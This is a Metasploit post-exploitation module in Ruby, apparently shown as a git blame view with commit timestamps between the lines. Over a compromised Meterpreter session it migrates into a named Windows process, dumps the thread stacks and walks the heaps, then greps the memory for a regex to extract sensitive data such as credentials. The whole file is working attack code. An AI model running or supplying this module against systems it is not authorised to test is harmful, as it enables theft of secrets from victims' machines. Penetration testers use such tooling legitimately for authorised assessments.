2011-07-19 17:06:26 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-07-19 17:06:26 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info(info,
|
|
|
|
'Name' => 'Windows Gather Process Memory Grep',
|
2011-10-17 03:49:49 +00:00
|
|
|
'Description' => %q{
|
2013-06-28 21:28:00 +00:00
|
|
|
This module allows for searching the memory space of a proccess for potentially
|
|
|
|
sensitive data. Please note: This module will have to migrate to the process you
|
|
|
|
are grepping, and will not migrate back automatically. This means that if the user
|
|
|
|
terminates the application after using this module, you may lose your session.
|
2011-10-23 11:56:13 +00:00
|
|
|
},
|
2011-07-19 17:06:26 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['bannedit'],
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => ['win'],
|
2011-07-19 17:06:26 +00:00
|
|
|
'SessionTypes' => ['meterpreter' ]
|
|
|
|
))
|
2011-10-23 11:56:13 +00:00
|
|
|
register_options([
|
|
|
|
OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]),
|
2013-07-01 23:57:00 +00:00
|
|
|
OptRegexp.new('REGEX', [true, 'Regular expression to search for with in memory', nil])
|
2011-10-23 11:56:13 +00:00
|
|
|
], self.class)
|
2011-07-19 17:06:26 +00:00
|
|
|
end
|
|
|
|
|
2013-07-01 23:57:00 +00:00
|
|
|
def dump_data(target_pid)
|
|
|
|
# we need to be inside the process to walk the heap using railgun
|
|
|
|
current = client.sys.process.getpid
|
|
|
|
if target_pid != current
|
|
|
|
print_status("Migrating into #{target_pid} to allow for dumping heap data")
|
|
|
|
session.core.migrate(target_pid)
|
2011-07-19 17:06:26 +00:00
|
|
|
end
|
|
|
|
|
2013-07-01 23:57:00 +00:00
|
|
|
regex = datastore['REGEX']
|
2011-07-19 17:06:26 +00:00
|
|
|
stack = []
|
2013-07-01 23:57:00 +00:00
|
|
|
proc = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS)
|
2011-07-19 17:06:26 +00:00
|
|
|
|
|
|
|
begin
|
2013-07-01 23:57:00 +00:00
|
|
|
threads = proc.thread.each_thread do |tid|
|
|
|
|
thread = proc.thread.open(tid)
|
2011-07-19 17:06:26 +00:00
|
|
|
esp = thread.query_regs['esp']
|
2013-07-01 23:57:00 +00:00
|
|
|
addr = proc.memory.query(esp)
|
2011-10-17 03:49:49 +00:00
|
|
|
vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']])
|
2013-07-01 23:57:00 +00:00
|
|
|
data = proc.memory.read(addr['BaseAddress'], addr['RegionSize'])
|
2011-07-19 17:06:26 +00:00
|
|
|
stack << {
|
|
|
|
'Address' => addr['BaseAddress'],
|
|
|
|
'Size' => addr['RegionSize'],
|
|
|
|
'Handle' => thread.handle,
|
|
|
|
'Data' => data
|
|
|
|
}
|
|
|
|
end
|
|
|
|
rescue
|
|
|
|
end
|
|
|
|
|
|
|
|
heap = []
|
2011-07-19 18:05:59 +00:00
|
|
|
railgun = session.railgun
|
2011-07-19 17:06:26 +00:00
|
|
|
heap_cnt = railgun.kernel32.GetProcessHeaps(nil, nil)['return']
|
|
|
|
dheap = railgun.kernel32.GetProcessHeap()['return']
|
2011-07-19 17:38:24 +00:00
|
|
|
vprint_status("Default Process Heap: 0x%08x" % dheap)
|
2011-07-19 17:06:26 +00:00
|
|
|
ret = railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4)
|
|
|
|
pheaps = ret['ProcessHeaps']
|
|
|
|
|
|
|
|
idx = 0
|
|
|
|
handles = []
|
|
|
|
while idx != pheaps.length
|
2011-07-19 17:38:24 +00:00
|
|
|
vprint_status("Found Heap: 0x%08x" % pheaps[idx, 4].unpack('V')[0])
|
2011-07-19 17:06:26 +00:00
|
|
|
handles << pheaps[idx, 4].unpack('V')[0]
|
|
|
|
idx += 4
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Walking the heap... this could take some time")
|
2013-07-01 23:57:00 +00:00
|
|
|
heap = []
|
|
|
|
handles.each do |handle|
|
|
|
|
lpentry = "\x00" * 42
|
|
|
|
ret = ''
|
|
|
|
while (ret = railgun.kernel32.HeapWalk(handle, lpentry)) and ret['return']
|
|
|
|
entry = ret['lpEntry'][0, 4].unpack('V')[0]
|
|
|
|
pointer = proc.memory.read(entry, 512)
|
|
|
|
size = ret['lpEntry'][4, 4].unpack('V')[0]
|
|
|
|
data = proc.memory.read(entry, (size == 0) ? 1048576 : size)
|
|
|
|
heap << {
|
|
|
|
'Address' => entry,
|
|
|
|
'Size' => data.length,
|
|
|
|
'Handle' => handle,
|
|
|
|
'Data' => data
|
|
|
|
} if data.length > 0
|
|
|
|
lpentry = ret['lpEntry']
|
|
|
|
break if ret['GetLastError'] == 259 or size == 0
|
2011-07-19 17:06:26 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
matches = []
|
|
|
|
stack.each do |mem|
|
|
|
|
idx = mem['Data'].index(regex)
|
|
|
|
|
|
|
|
if idx != nil
|
2013-07-01 23:57:00 +00:00
|
|
|
print_status("Match found on stack!")
|
2013-06-28 21:28:00 +00:00
|
|
|
print_line
|
2013-06-28 22:05:43 +00:00
|
|
|
data = mem['Data'][idx, 512]
|
|
|
|
print_line(Rex::Text.to_hex_dump(data))
|
2011-07-19 17:06:26 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
heap.each do |mem|
|
|
|
|
idx = mem['Data'].index(regex)
|
|
|
|
|
|
|
|
if idx != nil
|
2013-07-01 23:57:00 +00:00
|
|
|
print_status("Match found on heap!")
|
2013-06-28 21:28:00 +00:00
|
|
|
print_line
|
2013-06-28 22:05:43 +00:00
|
|
|
data = mem['Data'][idx, 512]
|
|
|
|
print_line(Rex::Text.to_hex_dump(data))
|
2011-07-19 17:06:26 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-07-01 23:57:00 +00:00
|
|
|
|
|
|
|
def run
|
|
|
|
if session.type != "meterpreter"
|
|
|
|
print_error "Only meterpreter sessions are supported by this post module"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Running module against #{sysinfo['Computer']}")
|
|
|
|
|
|
|
|
proc_name = datastore['PROCESS']
|
|
|
|
|
|
|
|
# Collect PIDs
|
|
|
|
pids = []
|
|
|
|
client.sys.process.processes.each do |p|
|
|
|
|
pids << p['pid'] if p['name'] == proc_name
|
|
|
|
end
|
|
|
|
|
|
|
|
if pids.empty?
|
|
|
|
print_error("No PID found for #{proc_name}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("PIDs found for #{proc_name}: #{pids * ', '}")
|
|
|
|
|
|
|
|
pids.each do |pid|
|
|
|
|
print_status("Searching in process: #{pid.to_s}...")
|
|
|
|
dump_data(pid)
|
|
|
|
print_line
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
2011-10-17 03:49:49 +00:00
|
|
|
end
|